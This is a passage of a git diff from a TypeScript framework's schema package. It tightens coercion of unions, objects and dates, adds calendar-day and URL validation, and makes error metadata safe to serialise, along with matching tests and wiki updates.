raw !== 'string') return raw; - const value = Number(raw); - return raw.trim() !== '' && Number.isFinite(value) ? value : raw; + return numeric(raw) ?? raw; } case 'boolean': return booleanish(raw); @@ -72,20 +79,23 @@ export function coerceNode(node: SchemaNode, raw: unknown): unknown { return itemNode === undefined ? items : items.map((item) => coerceNode(itemNode, item)); } case 'record': { - if (typeof raw !== 'object' || node.valueNode === undefined) return raw; + if (!isPlainObject(raw) || node.valueNode === undefined) return raw; // A null prototype for the reason `recordSchema` uses one: on a `{}` literal, assigning // `out['__proto__']` hits the `Object.prototype` SETTER and the key vanishes, so the // record validator's deliberate refusal of it never ran — the key was reported absent // rather than rejected, on the one path (HTTP query) where it is caller-controlled. const out: Record = Object.create(null) as Record; - for (const [key, value] of Object.entries(raw as Record)) { + for (const [key, value] of Object.entries(raw)) { out[key] = coerceNode(node.valueNode, value); } return out; } case 'object': { - if (typeof raw !== 'object' || node.properties === undefined) return raw; - const source = raw as Record; + // A plain object or nothing: `{ ...['x'] }` is `{ 0: 'x' }` and `{ ...new Date() }` is `{}`, + // so spreading anything else MADE an object the caller never sent — and an all-optional + // schema then accepted it. Untouched, validation says "expected an object". + if (!isPlainObject(raw) || node.properties === undefined) return raw; + const source = raw; const out: Record = { ...source }; for (const [key, child] of Object.entries(node.properties)) { // `Object.hasOwn`, never `key in source`: `{ ...source }` above already dropped what a @@ -96,8 +106,8 @@ export function coerceNode(node: SchemaNode, raw: unknown): unknown { return out; } case 'money': { - if (typeof raw !== 'object') return raw; - const source = raw as Record; + if (!isPlainObject(raw)) return raw; + const source = raw; // Through `numeric` for the same reason `scale` is: `Number('')` is 0, so a blank amount // field converted here would reach the validator as a legitimate zero and book an empty // price input as free. A blank stays a blank and fails validation, which is the real error. @@ -110,11 +120,18 @@ export function coerceNode(node: SchemaNode, raw: unknown): unknown { return { ...source, minor, ...(scale === undefined ? {} : { scale }) }; } case 'union': { - // Only unambiguous single-kind unions (e.g. `number | undefined`) are safe to coerce. - const kinds = new Set((node.anyOf ?? []).map((member) => member.kind)); - if (kinds.size !== 1) return raw; - const [member] = node.anyOf ?? []; - return member === undefined ? raw : coerceNode(member, raw); + const members = node.anyOf ?? []; + // A string some member takes AS A STRING is never converted behind its back: under + // `number | string` a postcode `01234` must not arrive as 1234. + if (typeof raw === 'string' && members.some((member) => fits(member, raw))) return raw; + // Every member is tried, in declaration order, and the first whose coercion FITS it wins. + // The first member alone used to decide: `'auto' | 2` left `"2"` a string because `'auto'` + // needs no conversion, and a union of objects coerced every value by its first branch. + for (const member of members) { + const coerced = coerceNode(member, raw); + if (fits(member, coerced)) return coerced; + } + return raw; } default: return raw; diff --git a/packages/schema/src/error-codes.ts b/packages/schema/src/error-codes.ts index b8ca77a8d..fa2fd140d 100644 --- a/packages/schema/src/error-codes.ts +++ b/packages/schema/src/error-codes.ts @@ -26,4 +26,5 @@ export const SCHEMA_ERROR_CODES: Readonly { expect(error.docs).toBe('https://example.com/handbook'); }); }); + +describe('SchemaError reproduces the rest of UltimateError', () => { + const error = new SchemaError({ + code: 'X_SCHEMA_UNSUPPORTED', + cause: 'no coercion', + fix: 'x doctor --json', + }); + + test('format() is 3 lines, and 4 with { docs: true }', () => { + expect(error.format().split('\n')).toHaveLength(3); + expect(error.format({ docs: true }).split('\n')).toEqual([ + 'X_SCHEMA_UNSUPPORTED: the active schema provider cannot do this', + ' cause: no coercion', + ' fix: x doctor --json', + ` docs: ${error.docs}`, + ]); + }); + + test('retry is always present, and terminal: a refused value is refused on attempt five too', () => { + expect(error.retry).toBe('terminal'); + expect(error.toJSON().retry).toBe('terminal'); + expect(new ValidationFailedError([]).toJSON().retry).toBe('terminal'); + }); + + test('a meta that JSON cannot carry degrades by key instead of throwing at --json', () => { + const cyclic: Record = {}; + cyclic['self'] = cyclic; + const hostile = new SchemaError({ + code: 'X_SCHEMA_UNSUPPORTED', + cause: 'no coercion', + fix: 'x doctor --json', + meta: { vendor: 'zod', big: 10n, cyclic, fn: () => 1 }, + }); + const json = JSON.parse(JSON.stringify(hostile)) as { meta: Record }; + expect(json.meta['vendor']).toBe('zod'); + expect(typeof json.meta['big']).toBe('string'); + expect(typeof json.meta['cyclic']).toBe('string'); + }); + + test('a meta that serialises is returned as it is, identity included', () => { + const meta = { vendor: 'zod', issues: [{ path: 'a' }] }; + const plain = new SchemaError({ code: 'X_SCHEMA_UNSUPPORTED', cause: 'c', fix: 'f', meta }); + expect(plain.toJSON().meta).toBe(meta); + expect(error.toJSON().meta).toBeUndefined(); + }); + + test('a meta whose getter throws still renders', () => { + const meta = Object.defineProperty({ ok: 1 }, 'bad', { + enumerable: true, + get: () => { + throw new TypeError('no'); + }, + }); + const thrown = new SchemaError({ code: 'X_SCHEMA_UNSUPPORTED', cause: 'c', fix: 'f', meta }); + expect(JSON.parse(JSON.stringify(thrown)).meta).toEqual({ + ok: 1, + bad: 'a value that cannot be read', + }); + }); +}); diff --git a/packages/schema/src/errors.ts b/packages/schema/src/errors.ts index 9ab144bd6..9f780283b 100644 --- a/packages/schema/src/errors.ts +++ b/packages/schema/src/errors.ts @@ -3,6 +3,7 @@ // and carries the same `Symbol.for('ultimate.error')` brand — `isUltimateError()` still matches. import { SCHEMA_ERROR_CODES } from './error-codes'; +import { renderMetaRecord } from './render-meta'; import { formatIssues } from './standard'; /** @@ -78,9 +79,16 @@ export interface SchemaErrorJSON { readonly cause: string; readonly fix: string; readonly docs: string; + /** Always present, as on `UltimateErrorJSON` — a client never has to infer it. */ + readonly retry: 'terminal'; readonly meta?: Readonly> | undefined; } +export interface SchemaFormatOptions { + /** Append a 4th `docs:` line. Off by default, as `UltimateError.format()` has it. */ + readonly docs?: boolean | undefined; +} + export class SchemaError extends Error { readonly [ULTIMATE_ERROR_BRAND] = true; override readonly name: string = 'SchemaError'; @@ -89,6 +97,12 @@ export class SchemaError extends Error { declare readonly cause: string; readonly fix: string; readonly docs: string; + /** + * `terminal` on every instance: a value that does not match its schema does not match it on + * attempt five. Carried HERE as well as in core's retry registry because `errorRetryOf` reads + * the field off the error, and a process that never imported core has no registry to ask. + */ + readonly retry = 'terminal' as const; readonly meta: Readonly> | undefined; constructor(init: SchemaErrorInit) { @@ -119,10 +133,10 @@ export class SchemaError extends Error { } /** The same 3-line rendering as `UltimateError.format()`, escaped in the same place: neither. */ - format(): string { - return [`${this.code}: ${this.title}`, ` cause: ${this.cause}`, ` fix: ${this.fix}`].join( - '\n', - ); + format(options?: SchemaFormatOptions): string { + const lines = [`${this.code}: ${this.title}`, ` cause: ${this.cause}`, ` fix: ${this.fix}`]; + if (options?.docs === true) lines.push(` docs: ${this.docs}`); + return lines.join('\n'); } toJSON(): SchemaErrorJSON { @@ -132,7 +146,10 @@ export class SchemaError extends Error { cause: this.cause, fix: this.fix, docs: this.docs, - meta: this.meta, + retry: this.retry, + // A schema error's `meta` can hold what the caller sent; a `bigint` or a cycle in it threw + // here, at `--json` render time, one layer past a constructor that had already succeeded. + meta: renderMetaRecord(this.meta), }; } } @@ -185,6 +202,16 @@ export class DiscriminantInvalidError extends SchemaError { } } +/** Thrown where `.default()` is WRITTEN: a fallback the schema itself refuses is wrong for every parse. */ +export class DefaultInvalidError extends SchemaError { + static readonly code = 'X_SCHEMA_DEFAULT_INVALID'; + override readonly name = 'DefaultInvalidError'; + + constructor(init: Omit) { + super({ ...init, code: DefaultInvalidError.code }); + } +} + export class SchemaUnsupportedError extends SchemaError { static readonly code = 'X_SCHEMA_UNSUPPORTED'; override readonly name = 'SchemaUnsupportedError'; diff --git a/packages/schema/src/index.ts b/packages/schema/src/index.ts index a8f239e61..385f5f674 100644 --- a/packages/schema/src/index.ts +++ b/packages/schema/src/index.ts @@ -30,9 +30,11 @@ export { SCHEMA_ERROR_CODES } from './error-codes'; export type { SchemaErrorInit, SchemaErrorJSON, + SchemaFormatOptions, ValidationIssue, } from './errors'; export { + DefaultInvalidError, DiscriminantInvalidError, isSchemaError, SchemaError, diff --git a/packages/schema/src/iso-date.test.ts b/packages/schema/src/iso-date.test.ts index 2888e9bc1..a67da3047 100644 --- a/packages/schema/src/iso-date.test.ts +++ b/packages/schema/src/iso-date.test.ts @@ -3,6 +3,8 @@ import { describe, expect, test } from 'bun:test'; import { coerceNode } from './coerce'; import { isIsoDateTime } from './iso-date'; +import { validate } from './standard'; +import { t } from './t'; const REFUSED = [ 'March 14, 2026', @@ -26,6 +28,64 @@ const ACCEPTED = [ '2026-03-14 09:00:00Z', ]; +/** + * The calendar rule, as a table. **Twin: `packages/time/src/plain-date.test.ts` holds the same rows + * against `isPlainDate`** — schema is tier 0 and cannot import `time`, so the month table is + * restated in `iso-date.ts` and these rows are what keeps the two copies answering alike. Edit both. + */ +const CALENDAR_PARITY: readonly (readonly [string, boolean])[] = [ + ['2026-01-31', true], + ['2026-01-32', false], + ['2026-02-28', true], + ['2026-02-29', false], + ['2026-02-30', false], + ['2024-02-29', true], + ['2024-02-30', false], + ['2000-02-29', true], + ['1900-02-29', false], + ['2026-03-31', true], + ['2026-04-30', true], + ['2026-04-31', false], + ['2026-05-31', true], + ['2026-06-30', true], + ['2026-06-31', false], + ['2026-07-31', true], + ['2026-08-31', true], + ['2026-09-30', true], + ['2026-09-31', false], + ['2026-10-31', true], + ['2026-11-30', true], + ['2026-11-31', false], + ['2026-12-31', true], + ['2026-12-32', false], + ['2026-00-10', false], + ['2026-13-01', false], + ['2026-03-00', false], +]; + +describe('isIsoDateTime checks the day against the month', () => { + test.each(CALENDAR_PARITY)('%p -> %p', (value, real) => { + expect(isIsoDateTime(value)).toBe(real); + }); + + test.each(CALENDAR_PARITY)('%p with a clock time -> %p', (value, real) => { + expect(isIsoDateTime(`${value}T09:00:00Z`)).toBe(real); + expect(isIsoDateTime(`${value}T23:30:00-05:00`)).toBe(real); + }); + + test('t.date refuses a day the month does not have instead of rolling it over', () => { + // `new Date('2026-02-30')` answers March 2nd: the caller's typo became a stored instant. + expect(validate(t.date, '2026-02-30').issues).toBeDefined(); + expect(() => t.date.parse('2026-02-30')).toThrow(/X_VALIDATION_FAILED/); + expect(validate(t.date, '2026-04-31T10:00:00Z').issues).toBeDefined(); + expect(t.date.parse('2024-02-29').toISOString()).toBe('2024-02-29T00:00:00.000Z'); + }); + + test('coercion leaves an impossible day a string, so validation states the refusal', () => { + expect(coerceNode({ kind: 'date' }, '2026-02-30')).toBe('2026-02-30'); + }); +}); + describe('isIsoDateTime', () => { test.each(REFUSED)('refuses %p', (value) => { expect(isIsoDateTime(value)).toBe(false); diff --git a/packages/schema/src/iso-date.ts b/packages/schema/src/iso-date.ts index f936ef568..b9d2248e4 100644 --- a/packages/schema/src/iso-date.ts +++ b/packages/schema/src/iso-date.ts @@ -20,7 +20,28 @@ const UTC_OFFSET = /(?:z|[+-]\d{2}:?\d{2})$/i; * because RFC 3339 §5.6 permits a lowercase `t` and `z`. */ const ISO_SHAPE = - /^\d{4}-\d{2}-\d{2}(?:[T ]\d{2}:\d{2}(?::\d{2}(?:\.\d+)?)?(?:Z|[+-]\d{2}:?\d{2})?)?$/i; + /^(\d{4})-(\d{2})-(\d{2})(?:[T ]\d{2}:\d{2}(?::\d{2}(?:\.\d+)?)?(?:Z|[+-]\d{2}:?\d{2})?)?$/i; + +/** + * Days per month, January first, in a common year. **Twin: `daysInMonth` in + * `packages/time/src/plain-date.ts`** — this package is tier 0 and cannot import `@ultimat3/time`, + * so the Gregorian table is restated rather than shared. The two are held equal by the parity + * table in `iso-date.test.ts` and `packages/time/src/plain-date.test.ts`; edit both or neither. + */ +const DAYS_IN_MONTH: readonly number[] = [31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31]; + +const isLeapYear = (year: number): boolean => + (year % 4 === 0 && year % 100 !== 0) || year % 400 === 0; + +/** + * The half a regex cannot hold. `new Date('2026-02-30')` does not refuse — it answers March 2nd — + * so a typo validated, and the instant that was stored is one the caller never wrote. + */ +function isCalendarDay(year: number, month: number, day: number): boolean { + const days = DAYS_IN_MONTH[month - 1]; + if (days === undefined) return false; + return day >= 1 && day <= (month === 2 && isLeapYear(year) ? 29 : days); +} /** What a `t.date` string must not be: a clock time with no offset and no `Z`. */ export function isZonelessDateTime(value: string): boolean { @@ -28,9 +49,12 @@ export function isZonelessDateTime(value: string): boolean { } /** - * True when `value` is an ISO-8601 date, or date-time carrying `Z` or an offset: the only strings - * whose instant is the same on every host. Check it before `new Date(value)`, every time. + * True when `value` is an ISO-8601 date, or date-time carrying `Z` or an offset, naming a day its + * month has: the only strings whose instant is the same on every host and is the one written. + * Check it before `new Date(value)`, every time. */ export function isIsoDateTime(value: string): boolean { - return ISO_SHAPE.test(value) && !isZonelessDateTime(value); + const match = ISO_SHAPE.exec(value); + if (match === null || isZonelessDateTime(value)) return false; + return isCalendarDay(Number(match[1]), Number(match[2]), Number(match[3])); } diff --git a/packages/schema/src/node-fits.ts b/packages/schema/src/node-fits.ts new file mode 100644 index 000000000..0e7372f90 --- /dev/null +++ b/packages/schema/src/node-fits.ts @@ -0,0 +1,48 @@ +// Single responsibility: does a value have the SHAPE a node names, one level deep — the question +// `coerce.ts` asks to pick the union member a raw HTTP value was written for. + +import { isPlainObject } from './builder'; +import type { SchemaNode } from './node'; + +/** + * Whether `value` is the SHAPE `node` names — one level deep, which is all a union needs to pick + * a branch. Not validation: it never reads a bound, a pattern or a refinement, so a value that + * fits can still be refused, with the real message, by the schema it is handed to next. + * + * An object fits when every LITERAL field it declares holds that literal — the tag of a + * discriminated union, read off the IR without asking which key the discriminant is. + */ +export function fits(node: SchemaNode, value: unknown): boolean { + switch (node.kind) { + case 'string': + return typeof value === 'string'; + case 'number': + return typeof value === 'number'; + case 'boolean': + return typeof value === 'boolean'; + case 'date': + return value instanceof Date; + case 'literal': + return value === node.literal; + case 'enum': + return (node.values ?? []).some((member) => member === value); + case 'array': + return Array.isArray(value); + case 'record': + case 'money': + return isPlainObject(value); + case 'object': { + if (!isPlainObject(value)) return false; + return Object.entries(node.properties ?? {}).every( + ([key, child]) => + child.kind !== 'literal' || + (child.optional === true && !Object.hasOwn(value, key)) || + (Object.hasOwn(value, key) && value[key] === child.literal), + ); + } + case 'union': + return (node.anyOf ?? []).some((member) => fits(member, value)); + default: + return false; + } +} diff --git a/packages/schema/src/render-meta.ts b/packages/schema/src/render-meta.ts new file mode 100644 index 000000000..5cec05f0b --- /dev/null +++ b/packages/schema/src/render-meta.ts @@ -0,0 +1,53 @@ +// Single responsibility: an error's `meta` as a record `JSON.stringify` cannot throw on. The twin +// of `renderMetaRecord` in `packages/core/src/error-render.ts`, restated because this package is +// tier 0 and may not import core — `SchemaError.toJSON()` makes the same `--json` promise. + +import { describeValue } from './describe-value'; + +type Meta = Readonly>; + +/** `JSON.stringify` with its throw removed: did the value survive being serialised at all? */ +function canRender(value: unknown): boolean { + try { + JSON.stringify(value); + return true; + } catch { + return false; + } +} + +/** A record's own keys, or none — a `Proxy` may refuse to be enumerated. */ +function metaKeys(meta: Meta): readonly string[] { + try { + return Object.keys(meta); + } catch { + return []; + } +} + +/** + * One entry, kept as it is when it serialises. What does not is DESCRIBED, never echoed: a schema + * error's `meta` holds the value a caller sent, so `describeValue` — shape and length, no content — + * is the only rendering this package has for one. A function is described too: `JSON.stringify` + * drops it without throwing, but copying a `toJSON` across would have it invoked one layer out. + */ +function metaEntry(meta: Meta, key: string): unknown { + try { + const value = meta[key]; + return canRender(value) && typeof value !== 'function' ? value : describeValue(value); + } catch { + return 'a value that cannot be read'; + } +} + +/** + * `meta` is machine-read, so a record that serialises is returned UNCHANGED, identity included. + * Only what cannot be rendered degrades, one key at a time — a `bigint` or a cycle in one entry + * must not cost the reader the entries beside it, and must not throw at `--json` render time. + */ +export function renderMetaRecord(meta: Meta | undefined): Meta | undefined { + if (meta === undefined || canRender(meta)) return meta; + const out: Record = {}; + for (const key of metaKeys(meta)) out[key] = metaEntry(meta, key); + return out; +} diff --git a/packages/schema/src/standard.test.ts b/packages/schema/src/standard.test.ts index 3fe3248d8..9c24c3fb9 100644 --- a/packages/schema/src/standard.test.ts +++ b/packages/schema/src/standard.test.ts @@ -220,3 +220,26 @@ describe('isStandardSchema', () => { ); }); }); + +describe('validate / a thenable is async whatever built it', () => { + // A library's own promise class, a cross-realm Promise, a polyfill: none is `instanceof Promise`. + const thenable = { + // biome-ignore lint/suspicious/noThenProperty: a non-native thenable is the input under test. + then: (resolve: (value: StandardResult) => void) => resolve({ value: 1 }), + }; + const schema = { + '~standard': { version: 1, vendor: 'fake-async', validate: () => thenable }, + } as unknown as StandardSchemaV1; + + test('validate refuses it instead of answering a result with no value', () => { + expect(() => validate(schema, 1)).toThrow(SchemaUnsupportedError); + }); + + test('parse refuses it instead of returning undefined', () => { + expect(() => parse(schema, 1)).toThrow(/X_SCHEMA_UNSUPPORTED/); + }); + + test('validateAsync still awaits it', async () => { + expect(await validateAsync(schema, 1)).toEqual({ value: 1 }); + }); +}); diff --git a/packages/schema/src/standard.ts b/packages/schema/src/standard.ts index 7ba7c6406..dbdfbe467 100644 --- a/packages/schema/src/standard.ts +++ b/packages/schema/src/standard.ts @@ -96,11 +96,22 @@ export function toValidationIssues(issues: readonly StandardIssue[]): readonly V })); } +/** + * Async by the rule `await` itself uses — a callable `then` — never `instanceof Promise`. A + * library's own promise class, a polyfill or a Promise from another realm fails that test, and was + * then read as a RESULT: no `issues` key, so a success, with `value` undefined. `parse` returned + * `undefined` for input nothing had validated. + */ +export function isThenable(value: unknown): value is PromiseLike { + if ((typeof value !== 'object' && typeof value !== 'function') || value === null) return false; + return typeof (value as { then?: unknown }).then === 'function'; +} + function assertSync( result: StandardResult | Promise>, vendor: string, ): StandardResult { - if (result instanceof Promise) { + if (isThenable(result)) { throw new SchemaUnsupportedError({ cause: `${vendor} validated asynchronously in a synchronous call site`, fix: 'call validateAsync()/parseAsync() instead of validate()/parse()', diff --git a/packages/schema/src/validators-builtins.test.ts b/packages/schema/src/validators-builtins.test.ts index 89475f8a1..fa8dd6249 100644 --- a/packages/schema/src/validators-builtins.test.ts +++ b/packages/schema/src/validators-builtins.test.ts @@ -347,3 +347,30 @@ describe('builtinT.cursor', () => { expect(validate(builtinT.cursor, 'abc+123').issues).toBeDefined(); }); }); + +describe('builtinT.url takes only what the URL parser reads as written', () => { + // `URL.canParse` strips these in silence, so the string that validated and was stored is not the + // URL that was validated: `' https://a.b'` in an `href` is a relative path. + test.each([ + ' https://example.com', + 'https://example.com ', + '\thttps://example.com', + 'https://example.com\n', + 'https://exa\nmple.com/path', + 'https://example.com/pa\tth', + 'https://example.com/\r', + '\u0000https://example.com', + ])('refuses %j', (value) => { + expect(validate(builtinT.url, value).issues).toBeDefined(); + }); + + test.each([ + 'https://example.com', + 'https://example.com/path?q=a%20b#frag', + 'HTTPS://Example.com/Path', + 'https://example.com/a b', + 'mailto:someone@example.com', + ])('still accepts %j, returned as written', (value) => { + expect(validate(builtinT.url, value)).toEqual({ value }); + }); +}); diff --git a/packages/schema/src/validators.ts b/packages/schema/src/validators.ts index 67bf7834a..296beaf15 100644 --- a/packages/schema/src/validators.ts +++ b/packages/schema/src/validators.ts @@ -2,6 +2,7 @@ // ArkType or Zod replace them wholesale via `configureSchemaProvider()` — neither ships; the IR and the // Standard Schema surface are what the rest of the framework actually depends on. +import { isAbsoluteUrl } from './absolute-url'; import { type AnySchema, type Check, @@ -453,9 +454,7 @@ export const builtinT: TNamespace = Object.freeze({ email: makeStringSchema({ kind: 'string', format: 'email' }, 'an email address', (value) => EMAIL_RE.test(value), ), - url: makeStringSchema({ kind: 'string', format: 'uri' }, 'an absolute URL', (value) => - URL.canParse(value), - ), + url: makeStringSchema({ kind: 'string', format: 'uri' }, 'an absolute URL', isAbsoluteUrl), date: dateSchema, money: moneySchema, timezone: makeStringSchema( diff --git a/packages/time/src/plain-date.test.ts b/packages/time/src/plain-date.test.ts index b24dad149..c48da38f8 100644 --- a/packages/time/src/plain-date.test.ts +++ b/packages/time/src/plain-date.test.ts @@ -3,6 +3,7 @@ // for a zone because it cannot answer without one, and one that names UTC in its own name. import { describe, expect, test } from 'bun:test'; +import { isIsoDateTime } from '@ultimat3/schema'; import { fromIso } from './instant'; import { addPlainDays, @@ -136,3 +137,57 @@ describe('unit · plainDate arithmetic', () => { expect(comparePlainDates('2027-01-01' as PlainDate, '2026-12-31' as PlainDate)).toBe(1); }); }); + +/** + * The calendar rule, as a table. **Twin: `packages/schema/src/iso-date.test.ts` holds the same rows + * against `isIsoDateTime`** — schema is tier 0 and cannot import `time`, so `daysInMonth` is + * restated there. `time` may import schema, so this copy also asks both predicates the same + * question directly: a row added on one side only still fails here. + */ +const CALENDAR_PARITY: readonly (readonly [string, boolean])[] = [ + ['2026-01-31', true], + ['2026-01-32', false], + ['2026-02-28', true], + ['2026-02-29', false], + ['2026-02-30', false], + ['2024-02-29', true], + ['2024-02-30', false], + ['2000-02-29', true], + ['1900-02-29', false], + ['2026-03-31', true], + ['2026-04-30', true], + ['2026-04-31', false], + ['2026-05-31', true], + ['2026-06-30', true], + ['2026-06-31', false], + ['2026-07-31', true], + ['2026-08-31', true], + ['2026-09-30', true], + ['2026-09-31', false], + ['2026-10-31', true], + ['2026-11-30', true], + ['2026-11-31', false], + ['2026-12-31', true], + ['2026-12-32', false], + ['2026-00-10', false], + ['2026-13-01', false], + ['2026-03-00', false], +]; + +describe('unit · plainDate and t.date agree on which days exist', () => { + test.each(CALENDAR_PARITY)('%p -> %p', (value, real) => { + expect(isPlainDate(value)).toBe(real); + expect(isIsoDateTime(value)).toBe(real); + }); + + test('every day of a leap year and a common year, asked of both', () => { + for (const year of [2024, 2026, 1900, 2000]) { + for (let month = 1; month <= 12; month += 1) { + for (let day = 0; day <= 32; day += 1) { + const value = `${year}-${String(month).padStart(2, '0')}-${String(day).padStart(2, '0')}`; + expect([value, isIsoDateTime(value)]).toEqual([value, isPlainDate(value)]); + } + } + } + }); +}); diff --git a/scripts/error-map-backlog.ts b/scripts/error-map-backlog.ts index b69dfb3a5..e032474e8 100644 --- a/scripts/error-map-backlog.ts +++ b/scripts/error-map-backlog.ts @@ -68,6 +68,7 @@ export const ERROR_STATUS_BACKLOG: Readonly> = 'X_SCHEMA_DISCRIMINANT_INVALID', 'X_SCHEMA_UNSUPPORTED', 'X_VALIDATION_FAILED', + 'X_SCHEMA_DEFAULT_INVALID', ], // tier 1 — cache driver and declaration faults; a cache miss is not an answer to a caller. cache: [ diff --git a/scripts/lib/error-code-plan.ts b/scripts/lib/error-code-plan.ts index 279137635..9b2f655a3 100644 --- a/scripts/lib/error-code-plan.ts +++ b/scripts/lib/error-code-plan.ts @@ -154,15 +154,16 @@ function titlesClose(source: string, open: number): string { const unknownShape = (path: string, code: string): ScriptError => new ScriptError({ code: 'X_NEW_ERROR_CODE_PATTERN_UNKNOWN', - cause: `${path} has no …TITLES object and no literal registerErrorCodes({ … }) this planner can add to, so there is no shape to add ${code} to without guessing`, + cause: `${path} has no …TITLES object, no literal registerErrorCodes({ … }) and no frozen …ERROR_CODES declarations this planner can add to, so there is no shape to add ${code} to without guessing`, fix: `edit ${path} to register ${code} by hand, and add its row to wiki/Error-Codes.md in the same change`, }); /** - * The registration, in whichever of the two shapes the package uses: + * The registration, in whichever of the three shapes the package uses: * - a `…TITLES` object literal (`X_A: 'title',`), plus the `…OWNED_ERROR_CODES` / `…ERROR_CODES` * literal array beside it when there is one — the titles are typed by that array's union; - * - a literal `registerErrorCodes({ X_A: { title: '…' } })` (`@ultimat3/seo`). + * - a literal `registerErrorCodes({ X_A: { title: '…' } })` (`@ultimat3/seo`); + * - frozen declarations, `Object.freeze({ X_A: { title: '…' } })` (`@ultimat3/schema`). */ export function registerIn(errorsTs: string, path: string, input: NewErrorCode): string { if (new RegExp(`\\b${input.code}\\b`).test(errorsTs)) { @@ -188,7 +189,7 @@ export function registerIn(errorsTs: string, path: string, input: NewErrorCode): const literal = /\bregisterErrorCodes\(\{/.exec(errorsTs); const registered = literal === null - ? undefined + ? frozenDeclarationIn(errorsTs, input) : insertBefore( errorsTs, literal.index, @@ -199,6 +200,21 @@ export function registerIn(errorsTs: string, path: string, input: NewErrorCode): return registered; } +/** + * The third shape: `const …ERROR_CODES… = Object.freeze({ X_A: { title: '…' } })`, declarations as + * DATA. `@ultimat3/schema` is tier 0 and cannot call `registerErrorCodes()`; core reads this object + * and registers it. One level deeper than the other two, so the entry is written at four spaces + * and wrapped as Biome wraps an object that does not fit. + */ +function frozenDeclarationIn(errorsTs: string, input: NewErrorCode): string | undefined { + const frozen = /const\s+\w*ERROR_CODES\b[^=]*=\s*Object\.freeze\(\{/.exec(errorsTs); + if (frozen === null) return undefined; + const title = tsString(input.title); + const flat = ` ${input.code}: { title: ${title} },`; + const line = flat.length <= 100 ? flat : ` ${input.code}: {\n title: ${title},\n },`; + return insertBefore(errorsTs, frozen.index, '\n });', line); +} + /** * A package that types one fix per code beside its registration, and where: `@ultimat3/cli`'s * `CLI_FIXES` is a `Record`, so a code registered without its row there is a diff --git a/scripts/new-error-code.test.ts b/scripts/new-error-code.test.ts index bea09e204..a1f61a3c9 100644 --- a/scripts/new-error-code.test.ts +++ b/scripts/new-error-code.test.ts @@ -96,6 +96,53 @@ describe('a new code, registered and documented in one edit', () => { }); }); +describe('a registry kept as frozen declarations, not titles', () => { + // `@ultimat3/schema` is tier 0 and cannot call `registerErrorCodes()`, so its codes are DATA core + // reads: `Object.freeze({ X_A: { title } })` in `error-codes.ts`. The planner refused that shape, + // so the one package with it had a second, hand-written way to add a code. + const withSchema = async (): Promise => { + const dir = await fixtureRoot(); + await mkdir(`${dir}/packages/schema/src`, { recursive: true }); + await Bun.write( + `${dir}/packages/schema/src/error-codes.ts`, + Bun.file(`${ROOT}/packages/schema/src/error-codes.ts`), + ); + return dir; + }; + const args = (title: string): string[] => [ + 'X_SCHEMA_PROBE', + '--package', + 'schema', + '--title', + title, + '--cause', + 'what usually makes it happen', + '--fix', + 'edit the schema the cause names', + '--off-socket', + ]; + + test('schema: the declaration joins the frozen object, the row and the pin land with it', async () => { + const dir = await withSchema(); + await newErrorCode(dir, args('a probe')); + const codes = await read(dir, 'packages/schema/src/error-codes.ts'); + expect(codes).toContain(" X_SCHEMA_PROBE: { title: 'a probe' },\n });"); + expect(transpiles(codes)).toBe(true); + expect(await read(dir, WIKI_PAGE)).toContain('| `X_SCHEMA_PROBE` | a probe |'); + expect(await read(dir, STATUS_BACKLOG)).toContain(" 'X_SCHEMA_PROBE',\n ],"); + }); + + test('a title past 100 columns wraps the way Biome writes the entry', async () => { + const dir = await withSchema(); + const title = + 'a probe whose title is long enough that the one-line entry would not fit the column'; + await newErrorCode(dir, args(title)); + expect(await read(dir, 'packages/schema/src/error-codes.ts')).toContain( + ` X_SCHEMA_PROBE: {\n title: '${title}',\n },\n });`, + ); + }); +}); + describe('a package whose titles are not in the first file the planner looks at', () => { // `@ultimat3/core` keeps its REGISTRY in `error-codes.ts` and its titles in // `core-error-codes.ts`, closed by `} as const;`. The planner stopped at the registry and diff --git a/wiki/CLI-Reference.md b/wiki/CLI-Reference.md index 9d805ee63..dd36e4a03 100644 --- a/wiki/CLI-Reference.md +++ b/wiki/CLI-Reference.md @@ -643,6 +643,12 @@ $ x verify --json "data":{"failed":["budgets"],"skipped":["e2e","contract-diff","roadmap"],"durationMs":11153}} ``` +A finding is `code`, `cause`, `fix`, and optionally `docs`, `at` (a file, route or table) and +`meta` — structured facts behind `cause`, never the only home of one. `X_VERIFY_STEP_TIMEOUT` +carries `meta.step`, `meta.deadlineMs`, `meta.killed: [{pid, command}]` and +`meta.inFlight: [{command, files, workers, stuck}]`; `at` is the stuck test file when +one could be named, and the failed step's `output` is the tail of what the killed run had printed. + Errors: `X_VERIFY_FAILED` (with the failing step names), plus each step's own code. ## x build diff --git a/wiki/Configuration.md b/wiki/Configuration.md index 6289983ed..132fa6ed4 100644 --- a/wiki/Configuration.md +++ b/wiki/Configuration.md @@ -196,7 +196,7 @@ excess-property checking and gets **no error at all** → [Known gaps](Known-Gap | field | type | default | notes | |---|---|---|---| | `cache.defaultTtlMs` | `number` | `60000` | milliseconds, not a duration string | -| `cache.tiers` | `CacheTierName[]` | `['request-memo', 'lru']` | `'request-memo' \| 'lru' \| 'redis' \| 'cdn'`; order is fixed regardless of listing order, and a rung the environment cannot supply refuses the boot | +| `cache.tiers` | `CacheTierName[]` | `['request-memo', 'lru']` | `'request-memo' \| 'lru' \| 'redis' \| 'cdn'`; order is fixed regardless of listing order, an EMPTY list is refused (`X_CONFIG_INVALID`), and a rung the environment cannot supply refuses the boot | | ~~`cache.driver`~~ | — | — | **Deleted in 9.0.0.** It was the second way to ask for Redis and the losing one: the ladder is built from `cache.tiers`, so `driver: 'redis'` beside `tiers: ['request-memo', 'lru']` asked for a rung nothing built. Name `redis` in `tiers` | | ~~`cache.urlEnv`~~ | — | — | **Deleted in 9.0.0**, `database.urlEnv`'s defect verbatim: the Redis tier reads the literal `REDIS_URL`, so `urlEnv: 'MY_REDIS'` made nothing read `MY_REDIS` | @@ -449,8 +449,8 @@ Two disks may not share one driver **instance**: a driver learns its disk name a | `OTEL_EXPORTER_OTLP_ENDPOINT` | OTLP/HTTP **JSON** only, port `:4318`. Absent = spans still recorded, exported nowhere. Invalid → `X_OTLP_ENDPOINT_INVALID` | | `OTEL_EXPORTER_OTLP_TRACES_ENDPOINT` / `..._METRICS_ENDPOINT` | per-signal override | | `OTEL_EXPORTER_OTLP_PROTOCOL` | anything but `http/json` → `X_OTLP_PROTOCOL_UNSUPPORTED`, naming `:4318`. gRPC (`:4317`) needs HTTP/2 and protobuf and is out of scope | -| `OTEL_EXPORTER_OTLP_HEADERS` | percent-decoded, so `%zz` is 